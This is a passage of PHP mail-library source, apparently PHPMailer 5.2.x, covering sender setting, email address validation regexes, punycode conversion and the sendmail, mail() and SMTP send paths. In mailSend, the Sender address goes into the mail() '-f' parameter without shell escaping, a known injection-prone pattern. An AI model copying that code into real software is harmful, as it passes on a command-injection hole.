  1060.         return $addresses;
  1061.     }
  1062.  
  1063.     /**
  1064.      * Set the From and FromName properties.
  1065.      * @param string $address
  1066.      * @param string $name
  1067.      * @param boolean $auto Whether to also set the Sender address, defaults to true
  1068.      * @throws phpmailerException
  1069.      * @return boolean
  1070.      */
  1071.     public function setFrom($address, $name = '', $auto = true)
  1072.     {
  1073.         $address = trim($address);
  1074.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1075.         // Don't validate now addresses with IDN. Will be done in send().
  1076.         if (($pos = strrpos($address, '@')) === false or
  1077.             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1078.             !$this->validateAddress($address)) {
  1079.             $error_message = $this->lang('invalid_address') . $address;
  1080.             $this->setError($error_message);
  1081.             $this->edebug($error_message);
  1082.             if ($this->exceptions) {
  1083.                 throw new phpmailerException($error_message);
  1084.             }
  1085.             return false;
  1086.         }
  1087.         $this->From = $address;
  1088.         $this->FromName = $name;
  1089.         if ($auto) {
  1090.             if (empty($this->Sender)) {
  1091.                 $this->Sender = $address;
  1092.             }
  1093.         }
  1094.         return true;
  1095.     }
  1096.  
  1097.     /**
  1098.      * Return the Message-ID header of the last email.
  1099.      * Technically this is the value from the last time the headers were created,
  1100.      * but it's also the message ID of the last sent message except in
  1101.      * pathological cases.
  1102.      * @return string
  1103.      */
  1104.     public function getLastMessageID()
  1105.     {
  1106.         return $this->lastMessageID;
  1107.     }
  1108.  
  1109.     /**
  1110.      * Check that a string looks like an email address.
  1111.      * @param string $address The email address to check
  1112.      * @param string $patternselect A selector for the validation pattern to use :
  1113.      * * `auto` Pick best pattern automatically;
  1114.      * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1115.      * * `pcre` Use old PCRE implementation;
  1116.      * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1117.      * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1118.      * * `noregex` Don't use a regex: super fast, really dumb.
  1119.      * @return boolean
  1120.      * @static
  1121.      * @access public
  1122.      */
  1123.     public static function validateAddress($address, $patternselect = 'auto')
  1124.     {
  1125.         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1126.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1127.             return false;
  1128.         }
  1129.         if (!$patternselect or $patternselect == 'auto') {
  1130.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1131.             //Constant was added in PHP 5.2.4
  1132.             if (defined('PCRE_VERSION')) {
  1133.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1134.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1135.                     $patternselect = 'pcre8';
  1136.                 } else {
  1137.                     $patternselect = 'pcre';
  1138.                 }
  1139.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1140.                 //Fall back to older PCRE
  1141.                 $patternselect = 'pcre';
  1142.             } else {
  1143.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1144.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1145.                     $patternselect = 'php';
  1146.                 } else {
  1147.                     $patternselect = 'noregex';
  1148.                 }
  1149.             }
  1150.         }
  1151.         switch ($patternselect) {
  1152.             case 'pcre8':
  1153.                 /**
  1154.                  * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1155.                  * @link http://squiloople.com/2009/12/20/email-address-validation/
  1156.                  * @copyright 2009-2010 Michael Rushton
  1157.                  * Feel free to use and redistribute this code. But please keep this copyright notice.
  1158.                  */
  1159.                 return (boolean)preg_match(
  1160.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1161.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1162.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1163.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1164.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1165.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1166.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1167.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1168.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1169.                     $address
  1170.                 );
  1171.             case 'pcre':
  1172.                 //An older regex that doesn't need a recent PCRE
  1173.                 return (boolean)preg_match(
  1174.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1175.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1176.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1177.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1178.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1179.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1180.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1181.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1182.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1183.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1184.                     $address
  1185.                 );
  1186.             case 'html5':
  1187.                 /**
  1188.                  * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1189.                  * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1190.                  */
  1191.                 return (boolean)preg_match(
  1192.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1193.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1194.                     $address
  1195.                 );
  1196.             case 'noregex':
  1197.                 //No PCRE! Do something _very_ approximate!
  1198.                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1199.                 return (strlen($address) >= 3
  1200.                     and strpos($address, '@') >= 1
  1201.                     and strpos($address, '@') != strlen($address) - 1);
  1202.             case 'php':
  1203.             default:
  1204.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1205.         }
  1206.     }
  1207.  
  1208.     /**
  1209.      * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1210.      * "intl" and "mbstring" PHP extensions.
  1211.      * @return bool "true" if required functions for IDN support are present
  1212.      */
  1213.     public function idnSupported()
  1214.     {
  1215.         // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1216.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1217.     }
  1218.  
  1219.     /**
  1220.      * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1221.      * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1222.      * This function silently returns unmodified address if:
  1223.      * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1224.      * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1225.      *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1226.      * @see PHPMailer::$CharSet
  1227.      * @param string $address The email address to convert
  1228.      * @return string The encoded address in ASCII form
  1229.      */
  1230.     public function punyencodeAddress($address)
  1231.     {
  1232.         // Verify we have required functions, CharSet, and at-sign.
  1233.         if ($this->idnSupported() and
  1234.             !empty($this->CharSet) and
  1235.             ($pos = strrpos($address, '@')) !== false) {
  1236.             $domain = substr($address, ++$pos);
  1237.             // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1238.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1239.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1240.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1241.                     idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1242.                     idn_to_ascii($domain)) !== false) {
  1243.                     return substr($address, 0, $pos) . $punycode;
  1244.                 }
  1245.             }
  1246.         }
  1247.         return $address;
  1248.     }
  1249.  
  1250.     /**
  1251.      * Create a message and send it.
  1252.      * Uses the sending method specified by $Mailer.
  1253.      * @throws phpmailerException
  1254.      * @return boolean false on error - See the ErrorInfo property for details of the error.
  1255.      */
  1256.     public function send()
  1257.     {
  1258.         try {
  1259.             if (!$this->preSend()) {
  1260.                 return false;
  1261.             }
  1262.             return $this->postSend();
  1263.         } catch (phpmailerException $exc) {
  1264.             $this->mailHeader = '';
  1265.             $this->setError($exc->getMessage());
  1266.             if ($this->exceptions) {
  1267.                 throw $exc;
  1268.             }
  1269.             return false;
  1270.         }
  1271.     }
  1272.  
  1273.     /**
  1274.      * Prepare a message for sending.
  1275.      * @throws phpmailerException
  1276.      * @return boolean
  1277.      */
  1278.     public function preSend()
  1279.     {
  1280.         try {
  1281.             $this->error_count = 0; // Reset errors
  1282.             $this->mailHeader = '';
  1283.  
  1284.             // Dequeue recipient and Reply-To addresses with IDN
  1285.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1286.                 $params[1] = $this->punyencodeAddress($params[1]);
  1287.                 call_user_func_array(array($this, 'addAnAddress'), $params);
  1288.             }
  1289.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1290.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1291.             }
  1292.  
  1293.             // Validate From, Sender, and ConfirmReadingTo addresses
  1294.             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1295.                 $this->$address_kind = trim($this->$address_kind);
  1296.                 if (empty($this->$address_kind)) {
  1297.                     continue;
  1298.                 }
  1299.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1300.                 if (!$this->validateAddress($this->$address_kind)) {
  1301.                     $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1302.                     $this->setError($error_message);
  1303.                     $this->edebug($error_message);
  1304.                     if ($this->exceptions) {
  1305.                         throw new phpmailerException($error_message);
  1306.                     }
  1307.                     return false;
  1308.                 }
  1309.             }
  1310.  
  1311.             // Set whether the message is multipart/alternative
  1312.             if (!empty($this->AltBody)) {
  1313.                 $this->ContentType = 'multipart/alternative';
  1314.             }
  1315.  
  1316.             $this->setMessageType();
  1317.             // Refuse to send an empty message unless we are specifically allowing it
  1318.             if (!$this->AllowEmpty and empty($this->Body)) {
  1319.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1320.             }
  1321.  
  1322.             // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1323.             $this->MIMEHeader = '';
  1324.             $this->MIMEBody = $this->createBody();
  1325.             // createBody may have added some headers, so retain them
  1326.             $tempheaders = $this->MIMEHeader;
  1327.             $this->MIMEHeader = $this->createHeader();
  1328.             $this->MIMEHeader .= $tempheaders;
  1329.  
  1330.             // To capture the complete message when using mail(), create
  1331.             // an extra header list which createHeader() doesn't fold in
  1332.             if ($this->Mailer == 'mail') {
  1333.                 if (count($this->to) > 0) {
  1334.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1335.                 } else {
  1336.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1337.                 }
  1338.                 $this->mailHeader .= $this->headerLine(
  1339.                     'Subject',
  1340.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1341.                 );
  1342.             }
  1343.  
  1344.             // Sign with DKIM if enabled
  1345.             if (!empty($this->DKIM_domain)
  1346.                 && !empty($this->DKIM_private)
  1347.                 && !empty($this->DKIM_selector)
  1348.                 && file_exists($this->DKIM_private)) {
  1349.                 $header_dkim = $this->DKIM_Add(
  1350.                     $this->MIMEHeader . $this->mailHeader,
  1351.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1352.                     $this->MIMEBody
  1353.                 );
  1354.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1355.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1356.             }
  1357.             return true;
  1358.         } catch (phpmailerException $exc) {
  1359.             $this->setError($exc->getMessage());
  1360.             if ($this->exceptions) {
  1361.                 throw $exc;
  1362.             }
  1363.             return false;
  1364.         }
  1365.     }
  1366.     public function innerBody(){
  1367.  
  1368.        
  1369.     }
  1370.     /**
  1371.      * Actually send a message.
  1372.      * Send the email via the selected mechanism
  1373.      * @throws phpmailerException
  1374.      * @return boolean
  1375.      */
  1376.     public function postSend()
  1377.     {
  1378.         try {
  1379.             // Choose the mailer and send through it
  1380.             switch ($this->Mailer) {
  1381.                 case 'sendmail':
  1382.                 case 'qmail':
  1383.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1384.                 case 'smtp':
  1385.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1386.                 case 'mail':
  1387.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1388.                 default:
  1389.                     $sendMethod = $this->Mailer.'Send';
  1390.                     if (method_exists($this, $sendMethod)) {
  1391.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1392.                     }
  1393.  
  1394.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1395.             }
  1396.         } catch (phpmailerException $exc) {
  1397.             $this->setError($exc->getMessage());
  1398.             $this->edebug($exc->getMessage());
  1399.             if ($this->exceptions) {
  1400.                 throw $exc;
  1401.             }
  1402.         }
  1403.         return false;
  1404.     }
  1405.  
  1406.     /**
  1407.      * Send mail using the $Sendmail program.
  1408.      * @param string $header The message headers
  1409.      * @param string $body The message body
  1410.      * @see PHPMailer::$Sendmail
  1411.      * @throws phpmailerException
  1412.      * @access protected
  1413.      * @return boolean
  1414.      */
  1415.     protected function sendmailSend($header, $body)
  1416.     {
  1417.         if ($this->Sender != '') {
  1418.             if ($this->Mailer == 'qmail') {
  1419.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1420.             } else {
  1421.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1422.             }
  1423.         } else {
  1424.             if ($this->Mailer == 'qmail') {
  1425.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1426.             } else {
  1427.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1428.             }
  1429.         }
  1430.         if ($this->SingleTo) {
  1431.             foreach ($this->SingleToArray as $toAddr) {
  1432.                 if (!@$mail = popen($sendmail, 'w')) {
  1433.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1434.                 }
  1435.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1436.                 fputs($mail, $header);
  1437.                 fputs($mail, $body);
  1438.                 $result = pclose($mail);
  1439.                 $this->doCallback(
  1440.                     ($result == 0),
  1441.                     array($toAddr),
  1442.                     $this->cc,
  1443.                     $this->bcc,
  1444.                     $this->Subject,
  1445.                     $body,
  1446.                     $this->From
  1447.                 );
  1448.                 if ($result != 0) {
  1449.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1450.                 }
  1451.             }
  1452.         } else {
  1453.             if (!@$mail = popen($sendmail, 'w')) {
  1454.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1455.             }
  1456.             fputs($mail, $header);
  1457.             fputs($mail, $body);
  1458.             $result = pclose($mail);
  1459.             $this->doCallback(
  1460.                 ($result == 0),
  1461.                 $this->to,
  1462.                 $this->cc,
  1463.                 $this->bcc,
  1464.                 $this->Subject,
  1465.                 $body,
  1466.                 $this->From
  1467.             );
  1468.             if ($result != 0) {
  1469.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1470.             }
  1471.         }
  1472.         return true;
  1473.     }
  1474.  
  1475.     /**
  1476.      * Send mail using the PHP mail() function.
  1477.      * @param string $header The message headers
  1478.      * @param string $body The message body
  1479.      * @link http://www.php.net/manual/en/book.mail.php
  1480.      * @throws phpmailerException
  1481.      * @access protected
  1482.      * @return boolean
  1483.      */
  1484.     protected function mailSend($header, $body)
  1485.     {
  1486.         $toArr = array();
  1487.         foreach ($this->to as $toaddr) {
  1488.             $toArr[] = $this->addrFormat($toaddr);
  1489.         }
  1490.         $to = implode(', ', $toArr);
  1491.  
  1492.         if (empty($this->Sender)) {
  1493.             $params = ' ';
  1494.         } else {
  1495.             $params = sprintf('-f%s', $this->Sender);
  1496.         }
  1497.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1498.             $old_from = ini_get('sendmail_from');
  1499.             ini_set('sendmail_from', $this->Sender);
  1500.         }
  1501.         $result = false;
  1502.         if ($this->SingleTo && count($toArr) > 1) {
  1503.             foreach ($toArr as $toAddr) {
  1504.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1505.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1506.             }
  1507.         } else {
  1508.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1509.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1510.         }
  1511.         if (isset($old_from)) {
  1512.             ini_set('sendmail_from', $old_from);
  1513.         }
  1514.         if (!$result) {
  1515.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1516.         }
  1517.         return true;
  1518.     }
  1519.  
  1520.     /**
  1521.      * Get an instance to use for SMTP operations.
  1522.      * Override this function to load your own SMTP implementation
  1523.      * @return SMTP
  1524.      */
  1525.     public function getSMTPInstance()
  1526.     {
  1527.         if (!is_object($this->smtp)) {
  1528.             $this->smtp = new SMTP;
  1529.         }
  1530.         return $this->smtp;
  1531.     }
  1532.  
  1533.     /**
  1534.      * Send mail via SMTP.
  1535.      * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1536.      * Uses the PHPMailerSMTP class by default.
  1537.      * @see PHPMailer::getSMTPInstance() to use a different class.
  1538.      * @param string $header The message headers
  1539.      * @param string $body The message body
  1540.      * @throws phpmailerException
  1541.      * @uses SMTP
  1542.      * @access protected
  1543.      * @return boolean
  1544.      */
  1545.     protected function smtpSend($header, $body)
  1546.     {
  1547.         $bad_rcpt = array();
  1548.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1549.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1550.         }
  1551.         if ('' == $this->Sender) {
  1552.             $smtp_from = $this->From;
  1553.         } else {
  1554.             $smtp_from = $this->Sender;
  1555.         }
  1556.         if (!$this->smtp->mail($smtp_from)) {
  1557.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1558.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1559.         }
  1560.  
  1561.         // Attempt to send to all recipients
  1562.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1563.             foreach ($togroup as $to) {
  1564.                 if (!$this->smtp->recipient($to[0])) {
  1565.                     $error = $this->smtp->getError();
  1566.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1567.                     $isSent = false;
  1568.                 } else {
  1569.                     $isSent = true;
  1570.                 }
  1571.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1572.             }
  1573.         }
  1574.  
  1575.         // Only send the DATA command if we have viable recipients
  1576.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1577.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1578.         }
  1579.         if ($this->SMTPKeepAlive) {
  1580.             $this->smtp->reset();
  1581.         } else {
  1582.             $this->smtp->quit();
  1583.             $this->smtp->close();
  1584.         }
  1585.         //Create error message for any bad addresses
  1586.         if (count($bad_rcpt) > 0) {
  1587.             $errstr = '';
  1588.             foreach ($bad_rcpt as $bad) {
  1589.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1590.             }
  1591.             throw new phpmailerException(
  1592.                 $this->lang('recipients_failed') . $errstr,
  1593.                 self::STOP_CONTINUE
  1594.             );
  1595.         }
  1596.         return true;
  1597.     }
  1598.  
  1599.     /**
  1600.      * Initiate a connection to an SMTP server.
  1601.      * Returns false if the operation failed.
  1602.      * @param array $options An array of options compatible with stream_context_create()
  1603.      * @uses SMTP
  1604.      * @access public
  1605.      * @throws phpmailerException
  1606.      * @return boolean
  1607.      */
  1608.     public function smtpConnect($options = array())
  1609.     {
  1610.         if (is_null($this->smtp)) {
  1611.             $this->smtp = $this->getSMTPInstance();
  1612.         }
  1613.  
  1614.         // Already connected?
  1615.         if ($this->smtp->connected()) {
  1616.             return true;
  1617.         }
  1618.  
  1619.         $this->smtp->setTimeout($this->Timeout);
  1620.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1621.         $this->smtp->setDebugOutput($this->Debugoutput);
  1622.         $this->smtp->setVerp($this->do_verp);
  1623.         $hosts = explode(';', $this->Host);
  1624.         $lastexception = null;
  1625.  
  1626.         foreach ($hosts as $hostentry) {
  1627.             $hostinfo = array();
  1628.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1629.                 // Not a valid host entry
  1630.                 continue;
  1631.             }
  1632.             // $hostinfo[2]: optional ssl or tls prefix
  1633.             // $hostinfo[3]: the hostname
  1634.             // $hostinfo[4]: optional port number
  1635.             // The host string prefix can temporarily override the current setting for SMTPSecure
  1636.             // If it's not specified, the default value is used
  1637.             $prefix = '';
  1638.             $secure = $this->SMTPSecure;
  1639.             $tls = ($this->SMTPSecure == 'tls');
  1640.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1641.                 $prefix = 'ssl://';
  1642.                 $tls = false; // Can't have SSL and TLS at the same time
  1643.                 $secure = 'ssl';
  1644.             } elseif ($hostinfo[2] == 'tls') {
  1645.                 $tls = true;
  1646.                 // tls doesn't use a prefix
  1647.                 $secure = 'tls';
  1648.             }
  1649.             //Do we need the OpenSSL extension?
  1650.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1651.             if ('tls' === $secure or 'ssl' === $secure) {
  1652.                 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1653.                 if (!$sslext) {
  1654.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1655.                 }
  1656.             }
  1657.             $host = $hostinfo[3];
  1658.             $port = $this->Port;
  1659.             $tport = (integer)$hostinfo[4];
  1660.             if ($tport > 0 and $tport < 65536) {
  1661.                 $port = $tport;
  1662.             }
  1663.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1664.                 try {
  1665.                     if ($this->Helo) {
  1666.                         $hello = $this->Helo;
  1667.                     } else {
  1668.                         $hello = $this->serverHostname();
  1669.                     }
  1670.                     $this->smtp->hello($hello);
  1671.                     //Automatically enable TLS encryption if:
  1672.                     // * it's not disabled
  1673.                     // * we have openssl extension
  1674.                     // * we are not already using SSL
  1675.                     // * the server offers STARTTLS
  1676.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1677.                         $tls = true;
  1678.                     }
  1679.                     if ($tls) {
  1680.                         if (!$this->smtp->startTLS()) {
  1681.                             throw new phpmailerException($this->lang('connect_host'));
  1682.                         }
  1683.                         // We must resend HELO after tls negotiation
  1684.                         $this->smtp->hello($hello);
  1685.                     }
  1686.                     if ($this->SMTPAuth) {
  1687.                         if (!$this->smtp->authenticate(
  1688.                             $this->Username,
  1689.                             $this->Password,
  1690.                             $this->AuthType,
  1691.                             $this->Realm,
  1692.                             $this->Workstation
  1693.                         )
  1694.                         ) {
  1695.                             throw new phpmailerException($this->lang('authenticate'));
  1696.                         }
  1697.                     }
  1698.                     return true;
  1699.                 } catch (phpmailerException $exc) {
  1700.                     $lastexception = $exc;
  1701.                     $this->edebug($exc->getMessage());
  1702.                     // We must have connected, but then failed TLS or Auth, so close connection nicely
  1703.                     $this->smtp->quit();
  1704.                 }
  1705.             }
  1706.         }
  1707.         // If we get here, all connection attempts have failed, so close connection hard
  1708.         $this->smtp->close();
  1709.         // As we've caught all exceptions, just report whatever the last one was
  1710.         if ($this->exceptions and !is_null($lastexception)) {
  1711.             throw $lastexception;
  1712.         }
  1713.         return false;
  1714.     }
  1715.  
  1716.     /**
  1717.      * Close the active SMTP session if one exists.
  1718.      * @return void
  1719.      */
  1720.     public function smtpClose()
  1721.     {
  1722.         if ($this->smtp !== null) {
  1723.             if ($this->smtp->connected()) {
  1724.                 $this->smtp->quit();
  1725.                 $this->smtp->close();
  1726.             }
  1727.         }
  1728.     }
  1729.  
  1730.     /**
  1731.      * Set the language for error messages.
  1732.      * Returns false if it cannot load the language file.
  1733.      * The default language is English.
  1734.      * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1735.      * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1736.      * @return boolean
  1737.      * @access public
  1738.      */
  1739.     public function setLanguage($langcode = 'en', $lang_path = '')
  1740.     {
  1741.         // Define full set of translatable strings in English
  1742.         $PHPMAILER_LANG = array(
  1743.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1744.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1745.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1746.             'empty_message' => 'Message body empty',
  1747.             'encoding' => 'Unknown encoding: ',
  1748.             'execute' => 'Could not execute: ',
  1749.             'file_access' => 'Could not access file: ',
  1750.             'file_open' => 'File Error: Could not open file: ',
  1751.             'from_failed' => 'The following From address failed: ',
  1752.             'instantiate' => 'Could not instantiate mail function.',
  1753.             'invalid_address' => 'Invalid address: ',
  1754.             'mailer_not_supported' => ' mailer is not supported.',
  1755.             'provide_address' => 'You must provide at least one recipient email address.',
  1756.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1757.             'signing' => 'Signing Error: ',
  1758.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1759.             'smtp_error' => 'SMTP server error: ',
  1760.             'variable_set' => 'Cannot set or reset variable: ',
  1761.             'extension_missing' => 'Extension missing: '
  1762.         );
  1763.         if (empty($lang_path)) {
  1764.             // Calculate an absolute path so it can work if CWD is not here
  1765.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1766.         }
  1767.         $foundlang = true;
  1768.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1769.         // There is no English translation file
  1770.         if ($langcode != 'en') {
  1771.             // Make sure language file path is readable
  1772.             if (!is_readable($lang_file)) {
  1773.                 $foundlang = false;
  1774.             } else {
  1775.                 // Overwrite language-specific strings.
  1776.                 // This way we'll never have missing translation keys.
  1777.                 $foundlang = include $lang_file;
  1778.             }
  1779.         }
  1780.         $this->language = $PHPMAILER_LANG;
  1781.         return (boolean)$foundlang; // Returns false if language not found
  1782.     }
  1783.  
  1784.     /**
  1785.      * Get the array of strings for the current language.
  1786.      * @return array
  1787.      */
  1788.     public function getTranslations()
  1789.     {
  1790.         return $this->language;
  1791.     }
  1792.  
  1793.     /**
  1794.      * Create recipient headers.
  1795.      * @access public
  1796.      * @param string $type
  1797.      * @param array $addr An array of recipient,
  1798.      * where each recipient is a 2-element indexed array with element 0 containing an address
  1799.      * and element 1 containing a name, like:
  1800.      * array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
  1801.      * @return string
  1802.      */
  1803.     public function addrAppend($type, $addr)
  1804.     {
  1805.         $addresses = array();
  1806.         foreach ($addr as $address) {
  1807.             $addresses[] = $this->addrFormat($address);
  1808.         }
